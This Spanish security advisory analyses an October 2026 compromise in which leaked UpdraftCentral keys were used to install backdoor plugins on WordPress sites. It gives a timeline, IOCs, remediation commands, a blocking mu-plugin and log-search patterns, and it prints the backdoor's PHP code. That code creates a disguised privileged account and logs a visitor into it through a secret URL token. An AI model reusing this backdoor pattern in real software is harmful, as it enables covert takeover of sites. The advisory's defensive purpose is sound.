Problema de seguridad crítico en UpdraftCentral: un atacante con las claves del servicio instaló una puerta trasera en nuestras webs

Problema de seguridad crítico en UpdraftCentral: un atacante con las claves del servicio instaló una puerta trasera en nuestras webs

Resumen

Situación a 22 de octubre de 2026, última actualización el 22/10/2026 (nuevos comunicados del fabricante, script de comprobación v9). La lista de cambios está al final del artículo. Seguiremos actualizando el texto según evolucione la situación.

Actualización 19/10/2026: TeamUpdraft ha confirmado un incidente de seguridad. Durante el fin de semana del 17 y 18 de octubre un atacante tuvo acceso no autorizado a teamupdraft.com y, según el fabricante, probablemente obtuvo la base de datos de clientes: nombres, correos, direcciones de facturación, historial de pedidos, hashes de contraseñas, la configuración de la autenticación en dos pasos y las claves de conexión de UpdraftCentral (nube), UpdraftVault y UpdraftClone. Las claves con las que el atacante firmó las órdenes se filtraron, por tanto, directamente del fabricante. El fabricante ha cerrado la sesión de todas las cuentas, ha sustituido las claves de UpdraftVault y UpdraftClone y prepara una versión de emergencia de UpdraftPlus que desconectará automáticamente todas las conexiones de UpdraftCentral creadas antes de las 22:00 BST del 18 de octubre de 2026 (23:00 CEST). Más tarde corrigió ese límite en su comunicado a las 13:07 BST (14:07 CEST), véase más abajo. Según el fabricante, UpdraftCentral alojado en servidor propio no está afectado.

Actualización 19/10/2026 (tarde): Patchstack ha publicado su propio análisis, que confirma y amplía nuestras conclusiones. Vio 99 nombres distintos de plugins con puerta trasera instalados entre el 18/10 a las 15:32 y el 19/10 a las 9:23, y una segunda dirección IP del atacante, 2a09:bac5:4e21:2e3c::49b:9. También nos han escrito otros administradores afectados. Uno de ellos encontró una segunda variante de la puerta trasera que crea un administrador e intenta ocultarlo. La describimos más abajo y hemos actualizado el script de comprobación para que la detecte. Si ya ejecutó el script, vuelva a ejecutarlo.

Actualización 19/10/2026 (variante funcional): Otro administrador confirmó que circula una versión funcional de la puerta trasera. En sus webs funcionaron tres de las cuatro puertas traseras, cada una con un nombre y una descripción distintos. Sin el parámetro m inicia la sesión del atacante como un administrador existente y no deja ningún rastro en la base de datos, así que revise también el registro de accesos (ver abajo). Hemos actualizado el script de comprobación a la versión 3, que detecta estas muestras por su código.

Actualización 19/10/2026 (análisis de muestras): Otro administrador afectado nos envió tres puertas traseras de sus webs. El atacante instaló allí primero la primera variante defectuosa y después puertas traseras funcionales. Si encontró la primera variante pero no borró enseguida la clave de UpdraftCentral, revise la web de nuevo. Así pudimos analizar nosotros mismos una muestra de la segunda variante. La ocultación de la cuenta no funciona, de modo que el administrador que crea aparece con normalidad en la lista de usuarios. La tercera muestra es una nueva variante mínima que solo inicia la sesión del atacante como un administrador existente. El script de comprobación la detecta desde la versión 4.

Actualización 19/10/2026 (el atacante sigue volviendo): El atacante sigue activo. Durante el 19 de octubre envió más órdenes a nuestras tres webs, la última a las 20:27 CEST. En la web de otro administrador borró a las 12:22 CEST la puerta trasera defectuosa con plugin.delete_plugin y dos segundos después subió una nueva. En nuestras webs el mu-plugin del paso 3 bloqueó estos intentos, y las claves ya estaban borradas. Borre la clave de UpdraftCentral aunque ya haya eliminado la puerta trasera. Los intentos bloqueados por el mu-plugin no aparecen en el registro de UpdraftCentral, solo en el registro de accesos.

Actualización 19/10/2026 (versión de emergencia): El fabricante publicó UpdraftPlus 1.26.12 / 2.26.12 para borrar las claves de UpdraftCentral Cloud anteriores al incidente. Hemos comprobado en el código que, por un error, no borra ninguna clave. El fabricante lo corrigió esa misma noche en la 1.26.13 / 2.26.13. Actualice a la 1.26.13 / 2.26.13 o posterior, no a la 1.26.12 / 2.26.12. Pero ni siquiera la 1.26.13 borra las claves creadas el 18/10 entre las 14:07 y las 23:00 CEST, aunque el fabricante indicó en un principio en su comunicado las 23:00 CEST como límite. En el comunicado actualizado el 23/10 indica las 14:07 CEST (13:07 BST), lo que coincide con el código. Por precaución, borre a mano las claves creadas más tarde el 18/10; las instrucciones del fabricante aconsejan de todos modos borrar la clave en cada web. Los ataques a nuestras webs empezaron solo después de que el fabricante confirmara la brecha y cerrara el acceso al atacante: las claves robadas funcionan hasta que la web las borra. Nuestras webs con la versión premium la recibieron automáticamente el 20/10.

Actualización 20/10/2026 (claves sin que el propietario lo sepa): Puede tener una clave de UpdraftCentral aunque nunca haya usado UpdraftCentral. Al iniciar sesión con la cuenta de teamupdraft.com en UpdraftPlus, gratuito o premium, la casilla «Add this website to UpdraftCentral» está marcada por defecto. Revise por tanto si hay una clave en cada web con UpdraftPlus. Otro administrador afectado nos escribió que nunca activó UpdraftCentral. Su web tenía Wordfence, Patchstack y Cloudflare, y ninguno detuvo la orden de UpdraftCentral firmada válidamente.

Actualización 20/10/2026 (puerta trasera oculta): Otro administrador nos envió tres puertas traseras de una sola web. Una de ellas, «Site Health Cache», se oculta de la lista de plugins del administrador, así que no la verá allí. Confíe por tanto en el script de comprobación, que lee los archivos directamente del disco. En esa web el atacante subió la variante mínima, la funcional y la defectuosa en menos de diez horas.

Actualización 20/10/2026 (más muestras): Tres administradores nos enviaron diez muestras más. Todas pertenecen a las tres variantes conocidas; solo cambian el nombre, la descripción, el autor falso y el token. En dos webs de un mismo administrador, puertas traseras funcionales estuvieron activas más de tres horas antes de que la variante defectuosa hiciera caer la web. Que la web se cayera no significa que el atacante no pudiera entrar antes. Revise también en ese caso el registro de accesos. También este administrador dice que nunca usó UpdraftCentral.

Actualización 20/10/2026 (el atacante prueba las puertas traseras): El 20 de octubre el atacante probó directamente los disparadores secretos de puertas traseras ya eliminadas en al menos seis webs de cuatro administradores, dos de ellas nuestras (a las 11:39 y 11:57 UTC en las nuestras). En nuestras webs usó los tokens correctos. Las peticiones llegaron desde las IP 178.83.37.220, 178.83.37.243, 178.94.218.31 y desde los rangos 69.33.133.x, 69.33.134.x y 69.33.144.x, siempre con el User-Agent recortado Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36. Todas devolvieron su página normal o un error, porque las puertas traseras ya no estaban. Si todavía tiene una puerta trasera en su web, el atacante la está usando activamente. Busque en su registro de accesos como se describe más abajo.

Actualización 21/10/2026 (el atacante sigue enviando órdenes): También la mañana del 21 de octubre el atacante envió desde 43.250.53.42 más órdenes de UpdraftCentral a dos de nuestras webs (de 07:10 a 09:21 UTC), ya después de publicarse la versión 1.26.13 / 2.26.13. En nuestro caso las detuvo el mu-plugin y las claves ya no existían. Así que el atacante sigue usando las claves filtradas. Siguen en riesgo las webs que no tienen la 1.26.13 / 2.26.13 y no han borrado la clave a mano.

Qué está afectadoel servicio UpdraftCentral, cuyo cliente forma parte del plugin UpdraftPlus, gratuito y premium
Versiones afectadastodas las versiones de UpdraftPlus hasta la 1.26.12 y la 2.26.12 conectadas a UpdraftCentral Cloud mediante una conexión creada hasta el 18/10/2026 inclusive. La versión 1.26.13 / 2.26.13 borra las claves creadas antes de las 14:07 CEST (13:07 BST) del 18/10. Desde su actualización del 23/10, el comunicado del fabricante indica el mismo límite (en un principio, las 23:00 CEST). Las claves creadas más tarde el 18/10 siguen en la web; por precaución, bórrelas a mano. En webs conectadas con versiones hasta la 1.26.4 y la 2.26.4, al atacante ni siquiera le hacen falta claves válidas (CVE-2026-10795).
Cuántas websSegún wordpress.org, UpdraftPlus tiene más de 4 millones de instalaciones activas, y el fabricante lo presenta como el plugin de copias de seguridad programadas más popular del mundo. Con el fallo de junio en el mismo canal, el fabricante estimó que menos del 10 % de los usuarios tienen una clave de UpdraftCentral o de Migrator, es decir, hasta unas 400 000 webs. No sabemos a cuántas de ellas atacó.
Correcciónel fabricante publicó el 19/10 UpdraftPlus 1.26.12 / 2.26.12 para borrar las claves antiguas de UpdraftCentral Cloud, pero por un error no borra ninguna. Solo funciona la 1.26.13 / 2.26.13, publicada esa misma noche: en cada carga de la web borra las claves de UpdraftCentral Cloud creadas antes de las 14:07 CEST del 18/10/2026. Las claves creadas entre las 14:07 y las 23:00 CEST (el límite que el fabricante indicó en un principio) hay que borrarlas a mano, igual que en las webs que aún no se han actualizado. Las instrucciones del fabricante aconsejan de todos modos borrar la clave en cada web. Según el fabricante, WordPress.org distribuyó la 1.26.13 automáticamente a todas las webs.
Solución temporaleliminar la conexión con UpdraftCentral, revisar la web con nuestro script, cambiar la contraseña de teamupdraft.com y, opcionalmente, bloquear las órdenes de UpdraftCentral con un pequeño mu-plugin (ver abajo). No hace falta desinstalar UpdraftPlus; las copias de seguridad siguen funcionando.

La noche del 19 de octubre de 2026 un atacante desde la dirección IP 43.250.53.42 envió a través del servicio UpdraftCentral la orden plugin.upload_plugin a tres de nuestras webs con WordPress. UpdraftCentral es un servicio de gestión remota de webs de TeamUpdraft, y su cliente está integrado en cada copia del plugin UpdraftPlus. En dos de nuestras webs la orden se ejecutó y WordPress instaló y activó un plugin desconocido. En la tercera falló por falta de permisos.

El fallo no estaba de nuestro lado. Las tres webs tenían WordPress 7.1.3 y UpdraftPlus 2.26.11 actualizados, este último corregido contra la vulnerabilidad de junio CVE-2026-10795. El atacante no entró en nuestros servidores ni aprovechó ningún error de nuestra configuración. Llegó por el canal de gestión remota de UpdraftCentral y firmó sus órdenes con claves privadas válidas del panel. Esas claves las genera y custodia el servicio UpdraftCentral Cloud y nunca han estado en nuestros servidores. Quien las tenga puede instalar y ejecutar cualquier código en cada web conectada sin que su propietario lo sepa. Por eso lo consideramos un problema de seguridad crítico del servicio UpdraftCentral.

Quién está en riesgo: toda web con UpdraftPlus, gratuito o premium, que esté conectada a UpdraftCentral, es decir, que tenga una clave de UpdraftCentral. Cada una de las más de 4 millones de instalaciones de UpdraftPlus contiene el cliente de UpdraftCentral. Las webs que no están conectadas a UpdraftCentral no corren riesgo por este ataque, porque sin clave no aceptan órdenes de UpdraftCentral. Nuestras webs estaban conectadas a UpdraftCentral Cloud, el panel que opera TeamUpdraft. Según el fabricante, los paneles de UpdraftCentral alojados en servidor propio no están afectados. También se filtraron las claves de UpdraftVault y UpdraftClone, que el fabricante ya ha sustituido. La clave puede haberse creado sin que el propietario lo supiera: al iniciar sesión con la cuenta de teamupdraft.com en la pestaña Premium / Extensions, tanto la versión gratuita como la premium ofrecen la casilla «Add this website to UpdraftCentral», marcada por defecto mientras la web no tenga ninguna clave (lo comprobamos en el código de las versiones 2.26.11 y 1.26.13). Instalar el plugin no crea por sí solo ninguna clave; la crea iniciar sesión con una cuenta de teamupdraft.com dentro del plugin. Por eso afecta sobre todo a las webs premium, cuyo propietario inicia sesión para la licencia y las actualizaciones, y a las webs gratuitas que se conectaron alguna vez a una cuenta.

No se trata de la vulnerabilidad CVE-2026-10795, sobre la que Wordfence escribió en junio: nuestras webs estaban corregidas y los intentos de explotarla en ellas fallaban.

El plugin es una puerta trasera. Con un enlace secreto debía crear una cuenta con permisos de administrador camuflados e iniciar sesión del atacante directamente en ella. Su autor cometió un error en el código, así que en nuestras webs la puerta trasera nunca funcionó. En su lugar hizo fallar cada petición a la web que no se servía desde la caché, y WordPress nos avisó por correo. Así la encontramos en cuestión de minutos a horas. Otros administradores, sin embargo, ya han encontrado variantes funcionales, que describimos más abajo.

Comunicamos el incidente a TeamUpdraft el 19 de octubre y les pedimos que expliquen cómo llegaron las claves al atacante.

Si su web está conectada a UpdraftCentral, considérela potencialmente comprometida hasta haberla revisado. Elimine la conexión de inmediato y revise la web como se describe abajo. A 19 de octubre de 2026 no encontramos ninguna mención pública de esta puerta trasera ni de un ataque similar posterior a la corrección de junio.

Qué hacer ahora mismo

1. Elimine la conexión con UpdraftCentral

Actualice UpdraftPlus a la versión 1.26.13 (gratuita) o 2.26.13 (premium) o posterior. Esta borra por sí sola las claves de UpdraftCentral Cloud creadas antes de las 14:07 CEST del 18/10/2026. La versión 1.26.12 / 2.26.12 no las borra. Después compruebe de todos modos que no quede ninguna clave en la web:

En el administrador de WordPress abra Ajustes → UpdraftPlus Backups → pestaña «Advanced Tools» → «UpdraftCentral». Haga clic en «Manage existing keys (N)…» y luego en «Delete…» junto a cada clave. Si no aparece ninguna clave, la web no está conectada.

Con acceso a la línea de comandos, lo mismo se hace con esta orden en el directorio raíz de WordPress:

wp option delete updraft_central_localkeys

Después elimine también la web del panel de UpdraftCentral (teamupdraft.com → My account → UpdraftCentral → ••• junto a la web → Remove site). Eliminarla solo del panel no basta. El atacante tiene la clave privada del panel, así que lo decisivo es borrar la clave en la web.

Según el fabricante, puede volver a conectar la web después de borrar la clave, revisarla y cambiar las contraseñas de los administradores. Antes, cambie la contraseña de su cuenta de teamupdraft.com (escriba usted mismo la dirección en el navegador, no siga enlaces de correos), cambie esa misma contraseña donde la haya reutilizado y vuelva a configurar la autenticación en dos pasos. Si instaló nuestro mu-plugin de bloqueo, elimínelo antes de volver a conectar. Quien use UpdraftVault debe volver a conectar sus webs con las nuevas credenciales.

Si la web tiene también claves de UpdraftPlus Migrator (pestaña «Migrate / Clone») y no está migrando ahora mismo, bórrelas también, por ejemplo con wp option delete updraft_migrator_localkeys. Usan el mismo canal y permiten a otra web enviar archivos de copia de seguridad a la suya. Hasta ahora no hemos visto que se abusara de ellas.

UpdraftPlus Premium guarda la contraseña de la cuenta de teamupdraft.com en la base de datos tal como la introduce (opción updraftplus-addons_options) y solo la borra tras un inicio de sesión correcto mediante token. Por eso puede quedarse en la base de datos y en sus copias de seguridad. En la práctica suele quedarse para siempre. Un lector la encontró en sus tres webs con la versión premium y en copias de seguridad desde 2022, y comprobó que una simple conexión con la cuenta en la pestaña Premium / Extensions la guarda. Nosotros la encontramos en una de nuestras tres webs. El fabricante dice que la contraseña se borra tras la primera conexión, pero el código solo la borra después de reclamar con éxito los complementos mediante el token. Puede eliminarla con la orden siguiente; las actualizaciones del plugin no la necesitan. Después cambie la contraseña de la cuenta. Si vuelve a iniciar sesión en la cuenta desde el plugin, desmarque la casilla «Add this website to UpdraftCentral». En las muestras de esta campaña analizadas hasta ahora no hemos encontrado código que lea esta contraseña, pero cualquier puerta trasera funcional o plugin subido puede leerla.

wp eval '$o = get_option("updraftplus-addons_options"); if (is_array($o)) { unset($o["password"]); update_option("updraftplus-addons_options", $o); }'

2. Compruebe si la puerta trasera está en su web

Sin línea de comandos:

  • En la misma pantalla de UpdraftCentral haga clic en «View recent UpdraftCentral log events…». Busque las líneas «Command received: plugin.upload_plugin», «Command received: plugin.delete_plugin» y «probe.central.updraftplus.com». Si la web está detrás de un proxy como Cloudflare, el registro muestra la IP del proxy, no la del atacante. Las líneas «Signature verification failed; discarding» significan que el atacante lo intentó, pero su clave no coincidía con la web y la web descartó la orden.
  • En la lista de plugins busque uno que usted no haya instalado. La primera variante tiene la descripción «Small maintenance toolkit: keeps option storage tidy.» y un nombre de dos palabras, normalmente seguido de tres caracteres, por ejemplo «Load Stack 35C» o «Query Shelf». Las demás variantes cambian de nombre y descripción cada vez, por ejemplo «Boost Kit», «Cache Smith» o «Site Health 364F». Sin embargo, algunas variantes se ocultan de la lista de plugins, así que mirarla no basta.
  • En la lista de usuarios busque una cuenta llamada «Site Tools» o con un correo en @example.org o @example.com. La variante funcional crea un administrador e intenta ocultarlo, pero aparece en la lista con normalidad.
  • Si una puerta trasera inicia la sesión del atacante como un administrador existente, no crea ninguna cuenta. Entonces solo la delatan el plugin y el registro de accesos, así que revise la web también con el script y mire el registro de accesos.

Si la primera variante de la puerta trasera está en la web, puede que el administrador no funcione, porque el plugin hace fallar cada petición. En ese caso use la línea de comandos.

Con línea de comandos, guarde nuestro script de comprobación del final del artículo como check-updraftcentral.php en el directorio raíz de WordPress y ejecute:

wp eval-file check-updraftcentral.php --skip-plugins --skip-themes

El script solo lee y no cambia nada. La opción --skip-plugins es importante, porque una puerta trasera instalada haría fallar también WP-CLI. Las líneas [ALERT] son rastros del ataque, [WARN] indica algo que revisar y [OK] es un resultado limpio. Que una orden aparezca en el registro no significa todavía que el plugin se instalara (en una de nuestras webs no se instaló), por eso el script revisa también archivos, opciones de la base de datos y cuentas. Si informa de algo con [ALERT], siga en la sección «Qué hacer si la encuentra».

UpdraftPlus solo guarda los últimos 50 eventos en el registro de UpdraftCentral. En una web que visitan a menudo los escáneres, el rastro del ataque puede desaparecer del registro y entonces el script da [OK] para el registro. Si tiene acceso a los registros del servidor web, revíselos también (ajuste la ruta a su servidor; con nginx, por ejemplo, /var/log/nginx/):

grep 'class-udrpc.php"' /var/log/apache2/*access*

La orden encuentra peticiones de UpdraftCentral sin versión de la biblioteca en la cabecera User-Agent, como las que envió el atacante. El panel real envía class-udrpc.php/2.0; https://teamupdraft.com, así que la orden no lo detecta.

La variante funcional de la puerta trasera puede no dejar ningún rastro en la base de datos: sin el parámetro m inicia la sesión del atacante como un administrador existente. Por eso busque también en el registro de accesos peticiones a los disparadores de ambas variantes:

zgrep -E '[?&](_[0-9a-f]{6}|[0-9a-f]{12})=[^&" ]{32}[& ]' /var/log/apache2/*access*

Revise cada línea que encuentre. El estado 302 indica una redirección al administrador, es decir, probablemente un inicio de sesión del atacante. El estado 500 indica que la variante defectuosa sigue en la web. El estado 200 con el tamaño normal de la página indica que la puerta trasera ya no está. zgrep revisa también los registros antiguos comprimidos.

3. Opcional: bloquee por completo las órdenes de UpdraftCentral

Para estar seguro de que la web no ejecuta ninguna orden de UpdraftCentral aunque quede una clave en ella, guarde en el directorio wp-content/mu-plugins/ un archivo block-updraftcentral.php con este contenido:

<?php
// Nethemba: block all UpdraftCentral (UDRPC) commands until the vendor resolves the October 2026 incident.
if ( isset( $_POST['udrpc_message'] ) ) {
	http_response_code( 403 );
	exit;
}

WordPress carga los archivos de mu-plugins antes que los plugins normales, así que la petición se detiene antes de que UpdraftPlus la procese. También bloquea la migración de webs con UpdraftPlus Migrator, que usa el mismo canal. Borre el archivo cuando el fabricante haya explicado y resuelto el problema.

Otra protección barata: si PHP no puede escribir en wp-content/plugins (por ejemplo, otro propietario de la carpeta y permisos 750), la web acepta la orden firmada pero la instalación del plugin falla. En una de las webs atacadas esto detuvo el ataque. Los plugins habrá que actualizarlos de otra forma, por ejemplo con WP-CLI como propietario de la carpeta.

Si usa Wordfence, actualice las reglas del cortafuegos (Wordfence → Firewall → All Firewall Options → Manually Refresh Rules). Wordfence ha publicado una regla que bloquea las órdenes de UpdraftCentral, también para la versión gratuita. Sin embargo, la regla solo se aplica a UpdraftPlus hasta la 1.26.11 y anteriores a la 2.26.12, así que ya no protege una web actualizada a la 1.26.12 / 2.26.12, aunque esas versiones no borran las claves. Actualice directamente a la 1.26.13 / 2.26.13.

Cómo lo descubrimos

A las 5:38 recibimos un correo automático de WordPress: «WordPress caught an error with one of your plugins, Load Stack 35C.» Nunca habíamos instalado un plugin con ese nombre. El mensaje de error decía Uncaught Error: Undefined constant LoadStack35c::FIELD, y desde las 4:14 nuestra web respondía a cada petición con un error 500.

Todos los archivos de la carpeta wp-content/plugins/load-stack-35c/ tenían la misma hora de modificación, 4:14:30. Un segundo después cambió la carpeta wp-content/upgrade/, que WordPress usa para descomprimir los plugins que instala. El plugin llegó, por tanto, a través del instalador estándar de WordPress y no como un archivo copiado al disco. En ese mismo segundo el registro de accesos contiene una única petición:

43.250.53.42 - - [19/Oct/2026:04:14:30 +0200] "POST / HTTP/1.1" 200 8454 "-" "WordPress/6.4; class-udrpc.php"

class-udrpc.php es la biblioteca con la que UpdraftPlus recibe órdenes de UpdraftCentral. Su propio registro (la opción de base de datos updraftcentral_client_log) lo confirmó: Command received: plugin.upload_plugin.

Cronología

Llamamos a las webs A, B y C. Todas las horas en CEST. Todas las peticiones llegaron desde 43.250.53.42 (proveedor RedSwitches) con la cabecera User-Agent WordPress/6.4; class-udrpc.php.

WebSondeoInstalación del pluginResultado
Web C19/10 0:41:326:05:31fallida, la clave pertenecía a un usuario sin permiso para instalar plugins
Web A2:14:054:14:30puerta trasera «Load Stack 35C» activa, web caída hasta las 6:13
Web B2:39:446:53:49puerta trasera «Text Gantry Eb0» activa, eliminada a las 6:56

El sondeo es un mensaje dirigido a una clave inexistente, probe.central.updraftplus.com. La web responde que no entiende el mensaje y con ello revela que acepta órdenes de UpdraftCentral. La siguiente orden el atacante ya la envió a la clave real 0.central.updraftplus.com. En las tres webs el ataque transcurrió igual, por el mismo atacante, con pocas horas de diferencia.

Otro administrador nos envió registros según los cuales la misma IP 43.250.53.42 probó otros ataques en dos de sus webs ya el 23 de septiembre de 2026: una consulta a la API REST con la lista de páginas y unos diez intentos de path traversal en el parámetro pagename. El atacante estuvo explorando estas webs casi un mes antes del ataque a través de UpdraftCentral.

El atacante volvió. El 19 de octubre llegaron más peticiones de UpdraftCentral a la web A a las 10:57:48, a la web B a las 11:14:19 y a la web C a las 12:03:14, siempre dos en el mismo segundo, y a la web C otra más a las 20:27:50. Nuestro mu-plugin ya las detuvo todas con un 403, así que no sabemos qué contenían. Otro administrador nos envió su registro de UpdraftCentral, en el que el atacante envió plugin.delete_plugin a las 12:22:48 y un nuevo plugin.upload_plugin a las 12:22:50, sustituyendo la puerta trasera defectuosa por otra. Nuestros pares de peticiones probablemente corresponden al mismo tipo de cambio. UpdraftPlus escribe en el registro de UpdraftCentral cada orden que supera la comprobación de la firma como «Command received» antes de ejecutarla (lo comprobamos en el código de la versión 2.26.11). Pero el registro solo guarda los últimos 50 eventos, y las peticiones detenidas por el mu-plugin no aparecen en él.

En la web de otro administrador, el atacante envió el sondeo el 18/10 a las 23:10:30 CEST y después subió tres puertas traseras distintas: a las 23:39:52 la mínima oculta «Site Health Cache», a las 0:34:34 la funcional «Fast2engine» y el 19/10 a las 9:28:47 la defectuosa «Post Dock 776». Un par de peticiones a las 11:40:45 y 11:40:46 falló allí con un error 500, porque la puerta trasera defectuosa ya hacía caer toda la web. Así que el atacante no siempre envía primero la variante defectuosa, y una misma web puede recibir varias puertas traseras.

Cómo funcionó el ataque

Al conectar una web a UpdraftCentral, la web genera un par de claves RSA y envía la clave pública al servicio UpdraftCentral Cloud. El servicio tiene su propio par de claves y envía a la web solo su clave pública. La clave privada del panel se queda en el servicio. Cada orden debe ir cifrada para la clave de la web y firmada con la clave privada del panel. La web la ejecuta entonces con los permisos del usuario que creó la clave en WordPress.

La orden plugin.upload_plugin superó toda esta comprobación en dos webs. Analizamos la web A en detalle y descartamos estas explicaciones:

  1. La vulnerabilidad conocida CVE-2026-10795. Afecta a UpdraftPlus hasta la 1.26.4 (premium hasta la 2.26.4). Nuestras webs tenían la 2.26.11. Vemos intentos de explotarla en los registros de las webs B y C desde junio, desde decenas de direcciones IP, y todos terminaron con «Could not decrypt incoming message».
  2. Un plugin modificado. Los archivos class-udrpc2.php, central/bootstrap.php, central/listener.php y central/host.php son idénticos byte a byte a la versión oficial 1.26.11 de wordpress.org.
  3. El formato antiguo de mensajes sin firma. El código lo rechaza para las claves de UpdraftCentral, y la entrada «Command received» solo se escribe después de esa comprobación.
  4. Una clave del panel sustituida. Las huellas de las claves son las mismas en las copias diarias del 15 al 18 de octubre y en la base de datos en producción, y en los registros de acceso nadie llamó a la función de intercambio de claves.
  5. Criptografía débil. Tanto la clave de la web como la del panel son RSA de 2048 bits con exponente 65537, y UpdraftPlus incluye phpseclib 2.0.55, que tiene corregido el conocido fallo de verificación de firmas.
  6. Un wp-admin comprometido. No aparecieron administradores desconocidos, las sumas de comprobación del núcleo y de los plugins coinciden y los registros no muestran ninguna subida de plugin desde el administrador.

El atacante tenía, por tanto, las claves privadas del panel de las tres conexiones a la vez. Esas claves nunca han estado en nuestros servidores, así que no pudieron filtrarse desde ahí. Las órdenes tampoco llegaron desde un servidor de TeamUpdraft. El panel real envió órdenes a la web B en marzo y abril de 2026 con esta cabecera User-Agent:

WordPress/6.8.5; class-udrpc.php/2.0; https://teamupdraft.com

El atacante enviaba WordPress/6.4; class-udrpc.php, sin versión de la biblioteca y sin URL, desde su propio servidor. Las claves se filtraron, por tanto, del entorno de UpdraftCentral Cloud y el atacante las usó fuera de él.

El 19 de octubre TeamUpdraft confirmó que durante el fin de semana del 17 y 18 de octubre un atacante tuvo acceso a teamupdraft.com y probablemente a la base de datos de clientes, incluidas las claves de UpdraftCentral. Las claves se filtraron, por tanto, de la infraestructura del fabricante. La cronología encaja: las claves de las webs B y C existían desde noviembre de 2025 y el atacante no las usó hasta la noche del 18 al 19 de octubre, justo después de la intrusión. El fabricante no ha explicado cómo entró el atacante en teamupdraft.com.

En la web C el ataque falló por casualidad. Allí la clave la creó en noviembre de 2025 un usuario que ya no es administrador. Antes de instalar, UpdraftCentral comprueba si el propietario de la clave tiene los permisos install_plugins y activate_plugins. No tenía ninguno de los dos.

Por qué es un problema crítico de UpdraftCentral

El cliente de UpdraftCentral forma parte de cada copia de UpdraftPlus, gratuita y premium. Se activa cuando el propietario conecta la web al panel. A partir de ahí la web ejecuta cada orden firmada con la clave del panel con los permisos del administrador que creó la conexión, incluida la subida y activación de cualquier plugin. El propietario de la web no confirma la orden y, en nuestro caso, nada nos avisó. Las claves del lado de la web no caducan: las de noviembre de 2025 seguían funcionando en octubre de 2026, y otro administrador informa de claves de febrero y marzo de 2022 que fueron usadas. La antigüedad de una clave no la protege. También se usó la clave de la web A, creada el 10/10/2026. Otro administrador observó que el atacante dejó en paz una copia de pruebas de una web con la misma clave pero otra dirección. Al parecer, el atacante trabajaba con la lista de webs que solo tiene UpdraftCentral.

La seguridad de todas las webs conectadas depende así de una única suposición: que las claves privadas del panel no se filtren. Se filtraron, y el atacante, desde un solo punto y en pocas horas, tomó el control de dos webs e intentó una tercera. UpdraftPlus tiene más de 4 millones de instalaciones activas. Entre los plugins de copias de seguridad de wordpress.org solo All-in-One WP Migration (más de 5 millones) tiene más instalaciones, y es sobre todo una herramienta de migración. Solo una parte de los usuarios de UpdraftPlus usa UpdraftCentral, pero incluso una pequeña parte de 4 millones son muchas webs.

El mismo canal ya falló antes. En junio de 2026 el fabricante corrigió la vulnerabilidad CVE-2026-10795 (CVSS 8.1), con la que un atacante podía falsificar órdenes de UpdraftCentral sin iniciar sesión e instalar y activar un plugin malicioso. Seguimos registrando intentos de explotarla.

Qué hace exactamente la puerta trasera

El plugin tiene cinco archivos, pero solo el principal contiene lógica. Esta es la parte relevante de la muestra de la web A. Hemos acortado el token y la contraseña:

define( 'LOADSTACK35C_TOKEN', 'j0j8nxxH…' );      // 32 caracteres
define( 'LOADSTACK35C_FIELD', '_9f5696' );
define( 'LOADSTACK35C_SVC_LOGIN', 'data-ops43' );
define( 'LOADSTACK35C_SVC_PASS', 'L7sfkZMw…' );    // 22 caracteres

final class LoadStack35c {
	private function __construct() {
		add_action( 'init', array( $this, 'handle_sync' ), 1 );
	}

	public function handle_sync() {
		if ( isset( $_GET[ self::FIELD ] ) && hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {
			$user = get_user_by( 'login', self::SVC_LOGIN );
			if ( ! $user ) {
				$uid = wp_insert_user( array(
					'user_login'   => self::SVC_LOGIN,
					'user_pass'    => self::SVC_PASS,
					'user_email'   => self::SVC_LOGIN . '@example.org',
					'display_name' => 'Site Tools',
					'role'         => 'editor',
				) );
				if ( is_wp_error( $uid ) ) return;
				$u = new WP_User( $uid );
				$u->add_cap( 'manage_options' );
				$u->add_cap( 'install_plugins' );
				$user = get_user_by( 'id', $uid );
			}
			wp_set_current_user( $user->ID, $user->user_login );
			wp_set_auth_cookie( $user->ID, true, is_ssl() );
			wp_safe_redirect( admin_url( 'index.php' ) );
			exit;
		}
	}
}

register_activation_hook( __FILE__, function () {
	if ( ! get_option( 'load_stack_35c_sync_token' ) ) {
		update_option( 'load_stack_35c_sync_token', 'j0j8nxxH…', false );
	}
} );

LoadStack35c::instance();

Así funcionaría si no tuviera un error:

  1. En cada petición a la web se engancha a la acción init con prioridad 1, antes que la mayoría de los demás plugins.
  2. Comprueba si la URL contiene el parámetro ?_9f5696= y compara su valor con un token de 32 caracteres. Compara con hash_equals, que tarda lo mismo coincidan o no los valores, de modo que el token no se puede adivinar midiendo los tiempos de respuesta. Sin el token correcto no ocurre nada y la web se comporta con normalidad.
  3. Con el token correcto crea el usuario data-ops43 con una contraseña fijada en el plugin, el correo data-ops43@example.org y el nombre visible «Site Tools».
  4. Le asigna el rol Editor y además dos capacidades sueltas: manage_options e install_plugins.
  5. Inicia la sesión del visitante como ese usuario mediante wp_set_auth_cookie con «recordarme», es decir, con una cookie válida 14 días. Así se salta por completo el formulario de acceso, por lo que no actúan ni la autenticación en dos pasos, ni el límite de intentos, ni la protección de acceso de Wordfence.
  6. Lo redirige al administrador.

El rol Editor con dos capacidades extra es intencionado. En la lista de usuarios la cuenta aparece como Editor, no como Administrador, así que en una revisión normal de administradores pasa desapercibida. En la práctica tiene control total de la web:

  • install_plugins permite subir cualquier plugin. Sus archivos PHP se pueden ejecutar directamente por URL incluso sin activarlo, lo que equivale a ejecutar cualquier código en el servidor.
  • manage_options da acceso a todos los ajustes. Basta con activar el registro y poner administrador como rol por defecto para que el atacante se cree un administrador completo.
  • En un WordPress normal un Editor tiene también unfiltered_html, así que puede insertar en las entradas JavaScript que se ejecuta en el navegador de cada administrador.

La puerta trasera tiene además una segunda capa. La cuenta creada, con una contraseña conocida, sigue en WordPress incluso después de eliminar el plugin, y el atacante puede entrar con ella por el formulario normal si esa cuenta no tiene activada la autenticación en dos pasos.

El error que nos salvó

Las constantes se definen con define() como constantes globales (LOADSTACK35C_FIELD), pero el código las lee como constantes de clase (self::FIELD). La clase no tiene constantes. Por eso PHP 8 lanza Error: Undefined constant LoadStack35c::FIELD la primera vez que evalúa self::FIELD. Ocurre antes de comprobar el token, es decir, en cada petición: visitas normales, administrador, inicio de sesión, API REST, cron y WP-CLI. La web cae con error 500 y solo sirve páginas desde la caché.

La petición de instalación, en cambio, terminó bien. UpdraftCentral procesa las órdenes en la acción wp_loaded, que llega después de init, así que en esa petición el código defectuoso no se ejecutó. El atacante recibió una confirmación de éxito y no supo nada del error por la respuesta. Solo fallaron las peticiones siguientes.

